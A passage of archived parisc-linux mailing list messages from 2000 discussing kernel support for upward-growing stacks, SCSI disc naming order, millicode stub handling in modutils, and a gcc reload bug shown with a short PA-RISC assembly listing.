>    and find_vma), modified them, and placed them into the machine
>    dependent code. The problem with that is that whenever changes are
>    made to expand_stack and/or find_vma, we have to notice that and
>    port the fixes, since whoever makes the changes is not likely to
>    notice our special versions. I was hoping that we could get some
>    support for stacks that grow up in the machine independent code
>    so that they are visible.

ok, that's ugly.  i'll try and fix those too.

> 3) I hope that we will have some control of the stack location in the
>    machine dependent code. I would like to be able to place the stack
>    near the top of memory, and have the location based on the stack
>    size limit (rlim[RLIMIT_STACK].rlim_max).

i think we can arrange that.

> 5) To make it clear "why" the code is different, I was hoping that
>    any #ifdef's in the machine independent code for stack grows up
>    changes would be something like #ifdef STACK_GROWS_UP, rather than
>    #ifdef parisc. Then STACK_GROWS_UP would be set for parisc. This
>    way, when people are making changes to the code, they will understand
>    what the different code is for, rather than wondering why parisc
>    has that code change. Also, it would help all those other future
>    architectures with stacks that grow up when they port Linux :-).

it's #ifdef ARCH_STACK_GROWSUP.  it's defined (or not..) in <asm/pgtable.h>
along with similar VM constants.

> I would appreciate it if you would keep us informed regarding discussions
> between you and Linus regarding this issue.

sure.  so far there's only been a mail from Alan to Linus asking for a
ruling on an appropriate way to handle this, and Linus is in favour of
a per-arch define.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:14:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: pci changes
Date: Mon, 4 Dec 2000 18:17:52 +0000 (GMT)
Lines: 37
Approved: news@gmane.org
Message-ID: <E1430BW-00045p-00@the-village.bc.nu>
References: <200012041355.GAA16592@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619388 7963 80.91.229.3 (22 Nov 2014 01:23:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:08 +0000 (UTC)
Cc: parisc-linux@puffin.external.hp.com
To: jsm@udlkern.fc.hp.com (John Marvin)
Original-X-From: alan@lxorguk.ukuu.org.uk  Mon Dec  4 11:19:32 2000
Original-Received: from the-village.bc.nu (lightning.swansea.linux.org.uk [194.168.151.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id LAA04129
	for <parisc-linux@puffin.external.hp.com>; Mon, 4 Dec 2000 11:19:30 -0700
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 1430BW-00045p-00; Mon, 4 Dec 2000 18:17:54 +0000
In-Reply-To: <200012041355.GAA16592@udlkern.fc.hp.com> from "John Marvin" at Dec 04, 2000 06:55:36 AM
X-Mailer: ELM [version 2.5 PL1]
Xref: news.gmane.org gmane.linux.ports.parisc:8754

> 2) The current fix duplicated machine independent code (expand_stack
>    and find_vma), modified them, and placed them into the machine
>    dependent code. The problem with that is that whenever changes are
>    made to expand_stack and/or find_vma, we have to notice that and
>    port the fixes, since whoever makes the changes is not likely to
>    notice our special versions. I was hoping that we could get some
>    support for stacks that grow up in the machine independent code
>    so that they are visible.

Duplicating them is right for the 2.4 path, fixing the generic code is
probably right post 2.4

> 3) I hope that we will have some control of the stack location in the
>    machine dependent code. I would like to be able to place the stack
>    near the top of memory, and have the location based on the stack
>    size limit (rlim[RLIMIT_STACK].rlim_max).

Yep

> 4) The top of memory for user space is currently 0xc0000000, but I hope
>    to change that to 0xffffe000 in the next month or two.

Just frob the numbers, that isnt a big issue.

> 5) To make it clear "why" the code is different, I was hoping that
>    any #ifdef's in the machine independent code for stack grows up
>    changes would be something like #ifdef STACK_GROWS_UP, rather than
>    #ifdef parisc. Then STACK_GROWS_UP would be set for parisc. This

That is what Linus said when I asked him hppa v STACK_GROWS_UP v duplicating
all the code

> I would appreciate it if you would keep us informed regarding discussions
> between you and Linus regarding this issue.

I will do


From - Thu Nov 08 21:14:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: pa reload problem
Date: Mon, 4 Dec 2000 18:40:09 +0000
Lines: 23
Approved: news@gmane.org
Message-ID: <20001204184009.K7166@linuxcare.com>
References: <20001201202613.E7166@linuxcare.com> <Pine.LNX.4.21.0012021658060.21742-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619388 7969 80.91.229.3 (22 Nov 2014 01:23:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:08 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: rhirst@linuxcare.com  Mon Dec  4 11:42:07 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA04783
	for <parisc-linux@puffin.external.hp.com>; Mon, 4 Dec 2000 11:42:06 -0700
Original-Received: (qmail 12738 invoked by uid 15267); 4 Dec 2000 18:44:40 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12708 invoked from network); 4 Dec 2000 18:44:39 -0000
Original-Received: from user-78-203.jakinternet.co.uk (HELO rhirst.linuxcare.com) (194.88.78.203)
  by mailserv2.iuinc.com with SMTP; 4 Dec 2000 18:44:39 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 175A5B005; Mon,  4 Dec 2000 18:40:10 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <Pine.LNX.4.21.0012021658060.21742-100000@front.linuxcare.com.au>; from alan@linuxcare.com.au on Sat, Dec 02, 2000 at 06:15:14PM +1100
Xref: news.gmane.org gmane.linux.ports.parisc:8755

On Sat, Dec 02, 2000 at 06:15:14PM +1100, Alan Modra wrote:
> > I hope I'm not supposed to do anything special with that $$divU call,
> 
> Unfortunately, I think you are supposed to.  All the $$ routines are from
> the millicode library, and are treated specially by the linker.  When
> doing a final link, these functions are never supplied by a shared
> library, but must come from a static lib like libgcc.a, or
> libmilli.a.  This has the effect of never calling these routines via the
> .plt, and so dp is preserved.  gcc isn't doing anything wrong here.
> 
> If you use a long branch stub that only trashes r1, you should be OK.
> _Don't load dp for these routines!  (I hope all libmilli routines are
> re-entrant - if not, we'd probably have weird kernel crashes...)

OK, done that, thanks.

> Note that all of the above applies to 32-bit modutils too.

Shouldn't be an issue with 32 bit, as kernel and modules all have
the same dp there.

Richard


From - Thu Nov 08 21:14:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: pa reload problem
Date: Mon, 4 Dec 2000 18:41:25 +0000
Lines: 11
Approved: news@gmane.org
Message-ID: <20001204184125.L7166@linuxcare.com>
References: <Pine.LNX.4.21.0012021932030.21742-100000@front.linuxcare.com.au> <Pine.LNX.4.21.0012041223530.13095-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619389 7973 80.91.229.3 (22 Nov 2014 01:23:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:09 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: rhirst@linuxcare.com  Mon Dec  4 11:43:22 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA05049
	for <parisc-linux@puffin.external.hp.com>; Mon, 4 Dec 2000 11:43:21 -0700
Original-Received: (qmail 15240 invoked by uid 15267); 4 Dec 2000 18:45:55 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15208 invoked from network); 4 Dec 2000 18:45:54 -0000
Original-Received: from user-78-203.jakinternet.co.uk (HELO rhirst.linuxcare.com) (194.88.78.203)
  by mailserv2.iuinc.com with SMTP; 4 Dec 2000 18:45:54 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id C9F82B005; Mon,  4 Dec 2000 18:41:25 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <Pine.LNX.4.21.0012041223530.13095-100000@front.linuxcare.com.au>; from alan@linuxcare.com.au on Mon, Dec 04, 2000 at 12:41:29PM +1100
Xref: news.gmane.org gmane.linux.ports.parisc:8756

On Mon, Dec 04, 2000 at 12:41:29PM +1100, Alan Modra wrote:
> I've applied this patch to pehc CVS to fix an hppa64 gcc problem that
> Richard found when compiling modules for the 64-bit kernel.  It's not
> specific to modules, but rather can affect anything requiring stubs to
> call functions, eg. 64-bit userland linked to shared libs.

And it works :-)  I can now insmod sym53c8xx.o on the A500 successfully.

Many thanks,
  Richard


From - Thu Nov 08 21:14:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] On the naming of discs
Date: Mon, 4 Dec 2000 20:06:44 +0000
Lines: 10
Approved: news@gmane.org
Message-ID: <20001204200644.C12414@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619389 7978 80.91.229.3 (22 Nov 2014 01:23:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:09 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@www.linux.org.uk  Mon Dec  4 13:04:15 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA06206
	for <parisc-linux@puffin.external.hp.com>; Mon, 4 Dec 2000 13:04:15 -0700
Original-Received: (qmail 23737 invoked by uid 15267); 4 Dec 2000 20:06:49 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23707 invoked from network); 4 Dec 2000 20:06:48 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (root@195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 4 Dec 2000 20:06:48 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 1431sq-000784-00
	for parisc-linux@thepuffingroup.com; Mon, 04 Dec 2000 20:06:44 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:8757


As noted in the install documentation, Linux and HPUX name their
discs differently.  HPUX follows the spec and numbers from 7 down to 0,
Linux follows the PC aberration and numbers from 0 up to 7.  Alan's just
pointed out to me that we have the capability to reverse this.  However,
it's going to change everyone's numbering.  Do we want to switch?

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:14:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] On the naming of discs
Date: Mon, 04 Dec 2000 13:58:46 -0800
Lines: 23
Approved: news@gmane.org
Message-ID: <200012042158.NAA03700@milano.cup.hp.com>
References: <20001204200644.C12414@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619389 7983 80.91.229.3 (22 Nov 2014 01:23:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:09 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: grundler@cup.hp.com  Mon Dec  4 14:55:40 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA07472
	for <parisc-linux@puffin.external.hp.com>; Mon, 4 Dec 2000 14:55:40 -0700
Original-Received: (qmail 21371 invoked by uid 15267); 4 Dec 2000 21:58:15 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21360 invoked from network); 4 Dec 2000 21:58:14 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 4 Dec 2000 21:58:14 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id 95270648; Mon,  4 Dec 2000 13:58:13 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id NAA03700;
	Mon, 4 Dec 2000 13:58:47 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Mon, 04 Dec 2000 20:06:44 PST."
             <20001204200644.C12414@parcelfarce.linux.theplanet.co.uk> 
Xref: news.gmane.org gmane.linux.ports.parisc:8758

Matthew Wilcox wrote:
> 
> As noted in the install documentation, Linux and HPUX name their
> discs differently.  HPUX follows the spec and numbers from 7 down to 0,
> Linux follows the PC aberration and numbers from 0 up to 7.

The problem is not how disks are enumerated. HPUX does it exactly the
same way - SCSI spec defines how the SCSI bus is to be walked.

The real problem is how devices are "named". Adding or removing devices may
cause existing devices to get new names when the system is rebooted.
And adding/removing devices on one SCSI bus will affect how devices
on other SCSI busses are named.

Even though HPUX's naming convention isn't perfect (eg /dev/rdsk/c1t2d3),
it works well for SCSI devices - regardless of type and when added.

grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:14:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: pa reload problem
Date: Tue, 5 Dec 2000 09:55:04 +1100 (EST)
Lines: 13
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0012050950420.16721-100000@front.linuxcare.com.au>
References: <20001204184009.K7166@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619390 7991 80.91.229.3 (22 Nov 2014 01:23:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:10 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: alan@linuxcare.com.au  Mon Dec  4 15:52:53 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA08318
	for <parisc-linux@puffin.external.hp.com>; Mon, 4 Dec 2000 15:52:53 -0700
Original-Received: (qmail 32037 invoked by uid 15267); 4 Dec 2000 22:55:27 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31983 invoked from network); 4 Dec 2000 22:55:26 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 4 Dec 2000 22:55:26 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id JAA17493;
	Tue, 5 Dec 2000 09:55:04 +1100
In-Reply-To: <20001204184009.K7166@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8759

On Mon, 4 Dec 2000, Richard Hirst wrote:

> > Note that all of the above applies to 32-bit modutils too.
> 
> Shouldn't be an issue with 32 bit, as kernel and modules all have
> the same dp there.

Yes, silly me.  32 bit is non-pic, so you don't need to worry about
it.  (%r19 in 32 bit case)

-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:14:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@jcsbs.lanobis.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ld problem workaround
Date: Thu, 6 May 1999 05:24:37 +0000
Lines: 3
Approved: news@gmane.org
Message-ID: <19990506052437.44410@insula.local>
Reply-To: Philipp Rumpf <prumpf@jcsbs.lanobis.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619390 7997 80.91.229.3 (22 Nov 2014 01:23:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:10 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: prumpf@jcsbs.lanobis.de  Thu Apr 29 21:30:05 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id VAA17675
	for <parisc-linux@puffin.external.hp.com>; Thu, 29 Apr 1999 21:30:04 -0600
Original-Received: (qmail 12579 invoked by uid 15267); 6 May 1999 05:11:37 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12570 invoked from network); 6 May 1999 05:11:37 -0000
Original-Received: from mail.lanobis.de (HELO bbs.lanobis.de) (root@62.104.42.195)
  by mailserv2.iuinc.com with SMTP; 6 May 1999 05:11:37 -0000
Original-Received: from world.local by bbs.lanobis.de with smtp
	(Smail3.2.0.92 #2) id m10fGTa-001Ln1C; Thu, 6 May 1999 07:13:38 +0200 (CEST)
Original-Received: (qmail 12036 invoked from network); 6 May 1999 05:13:58 -0000
Original-Received: from insula.local (HELO insula.jcsbs.lanobis.de) (@10.1.31.6)
  by world.local with SMTP; 6 May 1999 05:13:58 -0000
Original-Received: (from prumpf@localhost)
	by insula.jcsbs.lanobis.de (8.8.8/8.8.8) id FAA02223;
	Thu, 6 May 1999 05:24:39 GMT
X-Mailer: Mutt 0.89.1
X-Accept-Language: en,de,se
Xref: news.gmane.org gmane.linux.ports.parisc:8760

There is now an ugly workaround in the CVS tree that allows us to
use 0x8000 as kernel entry point.


From - Thu Nov 08 21:14:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: pa reload problem
Date: Mon, 4 Dec 2000 18:08:01 -0500 (EST)
Lines: 20
Approved: news@gmane.org
Message-ID: <200012042308.SAA07602@hiauly1.hia.nrc.ca>
References: <Pine.LNX.4.21.0012050950420.16721-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619391 8000 80.91.229.3 (22 Nov 2014 01:23:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:11 +0000 (UTC)
Cc: rhirst@linuxcare.com, parisc-linux@thepuffingroup.com
To: alan@linuxcare.com.au (Alan Modra)
Original-X-From: dave@hiauly1.hia.nrc.ca  Mon Dec  4 16:06:00 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA08904
	for <parisc-linux@puffin.external.hp.com>; Mon, 4 Dec 2000 16:05:59 -0700
Original-Received: (qmail 16996 invoked by uid 15267); 4 Dec 2000 23:08:34 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16980 invoked from network); 4 Dec 2000 23:08:33 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.100.193)
  by mailserv2.iuinc.com with SMTP; 4 Dec 2000 23:08:33 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id SAA07602;
	Mon, 4 Dec 2000 18:08:02 -0500 (EST)
In-Reply-To: <Pine.LNX.4.21.0012050950420.16721-100000@front.linuxcare.com.au> from "Alan Modra" at Dec 5, 2000 09:55:04 am
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:8761

> On Mon, 4 Dec 2000, Richard Hirst wrote:
> 
> > > Note that all of the above applies to 32-bit modutils too.
> > 
> > Shouldn't be an issue with 32 bit, as kernel and modules all have
> > the same dp there.
> 
> Yes, silly me.  32 bit is non-pic, so you don't need to worry about
> it.  (%r19 in 32 bit case)

However, it may be an issue for 32 bit pic code under hpux.  It is not
clear to me why this didn't show up before with 32 bit pic code.  For
some reason, the circumstances which caused combine to delete the set
restoring dp after function calls didn't seem to occur.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:14:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] On the naming of discs
Date: Mon, 4 Dec 2000 23:25:05 +0000 (GMT)
Lines: 15
Approved: news@gmane.org
Message-ID: <E1434yp-0004UL-00@the-village.bc.nu>
References: <200012042158.NAA03700@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619391 8005 80.91.229.3 (22 Nov 2014 01:23:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:11 +0000 (UTC)
Cc: matthew@wil.cx (Matthew Wilcox), parisc-linux@thepuffingroup.com
To: grundler@cup.hp.com (Grant Grundler)
Original-X-From: alan@lxorguk.ukuu.org.uk  Mon Dec  4 16:29:55 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA09605
	for <parisc-linux@puffin.external.hp.com>; Mon, 4 Dec 2000 16:29:54 -0700
Original-Received: (qmail 13822 invoked by uid 15267); 4 Dec 2000 23:32:24 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13811 invoked from network); 4 Dec 2000 23:32:23 -0000
Original-Received: from lightning.swansea.linux.org.uk (HELO the-village.bc.nu) (194.168.151.1)
  by mailserv2.iuinc.com with SMTP; 4 Dec 2000 23:32:23 -0000
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 1434yp-0004UL-00; Mon, 4 Dec 2000 23:25:07 +0000
In-Reply-To: <200012042158.NAA03700@milano.cup.hp.com> from "Grant Grundler" at Dec 04, 2000 01:58:46 PM
X-Mailer: ELM [version 2.5 PL1]
Xref: news.gmane.org gmane.linux.ports.parisc:8762

> > discs differently.  HPUX follows the spec and numbers from 7 down to 0,
> > Linux follows the PC aberration and numbers from 0 up to 7.
> 
> The problem is not how disks are enumerated. HPUX does it exactly the
> same way - SCSI spec defines how the SCSI bus is to be walked.

ANSI order is 15->0 order PC order 0->15

> The real problem is how devices are "named". Adding or removing devices may
> cause existing devices to get new names when the system is rebooted.
> And adding/removing devices on one SCSI bus will affect how devices
> on other SCSI busses are named.

This isnt a kernel related issue


From - Thu Nov 08 21:14:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: pa reload problem
Date: Tue, 5 Dec 2000 10:59:45 +1100 (EST)
Lines: 37
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0012051014060.16721-100000@front.linuxcare.com.au>
References: <200012042308.SAA07602@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619391 8008 80.91.229.3 (22 Nov 2014 01:23:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:11 +0000 (UTC)
Cc: Richard Hirst <rhirst@linuxcare.com>, parisc-linux@thepuffingroup.com
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: alan@linuxcare.com.au  Mon Dec  4 16:58:07 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA10298
	for <parisc-linux@puffin.external.hp.com>; Mon, 4 Dec 2000 16:58:07 -0700
Original-Received: (qmail 15827 invoked by uid 15267); 5 Dec 2000 00:00:10 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15788 invoked from network); 5 Dec 2000 00:00:08 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 5 Dec 2000 00:00:08 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id KAA19909;
	Tue, 5 Dec 2000 10:59:45 +1100
In-Reply-To: <200012042308.SAA07602@hiauly1.hia.nrc.ca>
Xref: news.gmane.org gmane.linux.ports.parisc:8763

On Mon, 4 Dec 2000, John David Anglin wrote:

> > On Mon, 4 Dec 2000, Richard Hirst wrote:
> > 
> > > > Note that all of the above applies to 32-bit modutils too.
> > > 
> > > Shouldn't be an issue with 32 bit, as kernel and modules all have
> > > the same dp there.
> > 
> > Yes, silly me.  32 bit is non-pic, so you don't need to worry about
> > it.  (%r19 in 32 bit case)
> 
> However, it may be an issue for 32 bit pic code under hpux.  It is not
> clear to me why this didn't show up before with 32 bit pic code.  For
> some reason, the circumstances which caused combine to delete the set
> restoring dp after function calls didn't seem to occur.

Hi Dave,
  Richard and I had wandered off-topic in the above exchange, and were
talking about modutils and stubs, in particular stub calls to millicode.

Getting back on topic, the reload problem _does_ affect 32 bit hppa code.
Compiling my testcase with -O2 -fPIC -S, gives

        copy %r19,%r4
        bl foo,%r2
        stw %r19,-32(%r30)
        addil LT'cpu_hz,%r4
        copy %r1,%r21
        addil LT'.LC0,%r19		! oops
        ldw RT'cpu_hz(%r21),%r21
        ldw RT'.LC0(%r1),%r1

Alan
-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:14:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: pa reload problem
Date: Mon, 4 Dec 2000 19:50:58 -0500 (EST)
Lines: 38
Approved: news@gmane.org
Message-ID: <200012050050.TAA07749@hiauly1.hia.nrc.ca>
References: <Pine.LNX.4.21.0012051014060.16721-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619391 8012 80.91.229.3 (22 Nov 2014 01:23:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:11 +0000 (UTC)
Cc: rhirst@linuxcare.com, parisc-linux@thepuffingroup.com
To: alan@linuxcare.com.au (Alan Modra)
Original-X-From: dave@hiauly1.hia.nrc.ca  Mon Dec  4 17:48:42 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA11145
	for <parisc-linux@puffin.external.hp.com>; Mon, 4 Dec 2000 17:48:42 -0700
Original-Received: (qmail 11105 invoked by uid 15267); 5 Dec 2000 00:51:16 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11088 invoked from network); 5 Dec 2000 00:51:16 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.100.193)
  by mailserv2.iuinc.com with SMTP; 5 Dec 2000 00:51:16 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id TAA07749;
	Mon, 4 Dec 2000 19:50:59 -0500 (EST)
